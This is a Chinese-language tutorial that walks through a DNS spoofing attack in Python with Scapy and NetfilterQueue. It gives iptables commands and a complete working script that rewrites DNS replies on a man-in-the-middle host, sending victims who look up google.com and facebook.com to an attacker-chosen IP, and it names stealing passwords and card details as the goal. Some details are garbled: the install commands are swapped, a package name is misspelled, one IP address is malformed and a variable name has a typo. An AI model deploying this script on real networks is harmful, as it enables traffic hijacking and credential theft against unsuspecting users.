如何在Python使用 Scapy 进行 DNS 欺骗攻击?
在本文中,我们将讨论如何使用Python的Scapy 进行 DNS 欺骗攻击。在开始之前,我们需要了解几点:
- DNS 服务器:域名系统提供了一种将人类可读的域名匹配到 IP 地址的方法。例如,当我们搜索 google.com 时,浏览器会向 DNS 服务器进行 DNS 查询,以便返回 Google 服务器的 IP 地址(172.217.166.110)。
- DNS 欺骗: DNS 欺骗 是一种计算机网络攻击,通过替换 DNS 服务器发送的 IP 地址,迫使目标导航到虚假页面。这个目标不知道这是一个假页面。攻击的动机是窃取目标的数据(用户名、信用卡详细信息、密码等)。
所需模块:
- NetfilterQueue: NetfilterQueue 是一个Python库,它提供对 Linux 中与 iptables 规则匹配的数据包的访问。如此匹配的数据包可以被接受、丢弃、更改或给予标记。运行以下命令进行安装:
pip3 install scapy
- Scapy: Scapy 是一个Python包,用于操作计算机网络数据包。它可以执行扫描、跟踪路由、探测、单元测试和网络发现等任务。运行以下命令进行安装:
pip3 install netfiltdrqueue
使用的方法:
- 在目标网络中实施 ARP 欺骗,以便所有数据包都将通过您的设备进行路由。
- 创建 Iptable 链式规则,将通过设备路由的数据包推送到 Netfilter 队列。
- 下一步是使用我们的脚本处理数据包(脚本解释如下)。
- 处理后的数据包将发送给受害者。
- 然后受害者将收到来自 DNS 响应的虚假 IP 地址。
- 当您希望终止脚本时,请删除我们在第二步中创建的 Iptable 规则。
让我们看看逐步实现 DNS Spoof 的命令和函数。
第一步:导入模块。
from scapy.all import *
import os
import logging as log
from scapy.all import IP, DNSRR, DNSQR, UDP, DNS
from netfilterqueue import NetfilterQueue
第二步:将此规则插入到IP表中,这样数据包将被重定向到NetfilterQuque。然后我们可以使用scapy包来修改队列中的数据包。 queue-num 可以是您选择的任何数字。
os.system("sudo iptables -I FORWARD -j NFQUEUE --queue-num 1")
第 3 步:创建 NetfilterQueue 对象。
queue = NetfilterQueue()
第四步:将队列对象绑定到队列号和回调函数。然后在实现callBack函数后启动队列。
queue.bind(queueNum,callback)
queue.run()
第 5 步:创建我们需要欺骗的主机名的 DNS 记录字典。您可以添加更多的域名映射作为您的选择(所有映射的 IP 地址不必相同)。
hostsDict = {
"google.com" : "192.168..48.243",
"facebook.com" : "192.168.48.243"
}
第六步:当有新的数据包进入队列时,会调用callBack函数。数据包将作为参数传递给 callBack函数。
def callBack(packet):
第七步:接下来,将NetfilterQueue包转换成scapy包进行处理。
scapyPacket = IP(packet.get_payload())
步骤 8:检查 scapy 数据包中是否包含 DNS 资源记录(DNSRR)。如果它有DNSRR,我们将修改数据包,否则数据包中不会进行任何更改。
if scapyPacket.haslayer(DNSRR):
步骤 9:从 scapy 数据包中获取 DNS 查询名称。查询名称是受害者发送到 DNS 服务器的主机名。
queryName = scapyPacket[DNSQR].qname
步骤10:如果queryName在我们的目标hostDict中,我们用hostDict中的IP地址修改DNS发送的IP地址。
if queryName in hostDict:
sacpyPacket[DNS].an = DNSRR(rrname = queryName, rdata = hostDict[queryName])
第 11 步:将数据包计数修改为 1,因为我们会向受害者发送一个 DNSRR。
scapyPacket[DNS].ancount = 1
第 12 步:可以使用校验和和其他信息检测数据包损坏,因此我们删除它们并使用 scapy 生成一个新条目。
del scapyPacket[IP].len
del scapyPacket[IP].chksum
del scapyPacket[UDP].len
del scapyPacket[UDP].chksum
步骤13:将修改后的scapy数据包负载设置为NetfilterQueue数据包。
packet.set_payload(bytes(scapyPacket))
第 14 步:数据包已准备好发送给受害者。
packet.accept()
步骤 15:在终止脚本时,删除创建的 IP 表规则。
os.system("sudo iptables -D FORWARD -j NFQUEUE --queue-num 1")
下面是完整的实现:
Python3
import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue
class DnsSnoof:
def __init__(self, hostDict, queueNum):
self.hostDict = hostDict
self.queueNum = queueNum
self.queue = NetfilterQueue()
def __call__(self):
log.info("Snoofing....")
os.system(
f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
self.queue.bind(self.queueNum, self.callBack)
try:
self.queue.run()
except KeyboardInterrupt:
os.system(
f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queueNum}')
log.info("[!] iptable rule flushed")
def callBack(self, packet):
scapyPacket = IP(packet.get_payload())
if scapyPacket.haslayer(DNSRR):
try:
log.info(f'[original] { scapyPacket[DNSRR].summary()}')
queryName = scapyPacket[DNSQR].qname
if queryName in self.hostDict:
scapyPacket[DNS].an = DNSRR(
rrname=queryName, rdata=self.hostDict[queryName])
scapyPacket[DNS].ancount = 1
del scapyPacket[IP].len
del scapyPacket[IP].chksum
del scapyPacket[UDP].len
del scapyPacket[UDP].chksum
log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
else:
log.info(f'[not modified] { scapyPacket[DNSRR].rdata }')
except IndexError as error:
log.error(error)
packet.set_payload(bytes(scapyPacket))
return packet.accept()
if __name__ == '__main__':
try:
hostDict = {
b"google.com.": "192.168.1.100",
b"facebook.com.": "192.168.1.100"
}
queueNum = 1
log.basicConfig(format='%(asctime)s - %(message)s',
level = log.INFO)
snoof = DnsSnoof(hostDict, queueNum)
snoof()
except OSError as error:
log.error(error)
执行攻击:
- 以超级用户身份(sudo 命令)运行 ARP 欺骗脚本,以成为中间人。您可以在此处找到脚本和教程。
- 现在,以我们现在创建的超级用户身份(sudo 命令)运行 DNS 欺骗脚本。
在运行脚本之前尝试从受害者的机器上 ping google.com 和 facebook.com。
运行脚本后尝试从受害者的机器上 ping facebook.com。
受害者机器
攻击机
运行脚本后尝试从受害者的机器 ping google.com。
受害者机器
攻击机
请注意,google.com 和 facebook.com 都映射到相同的 IP 地址。如果修改后的 IP 地址在网络中,流量将被转发到该 IP 地址。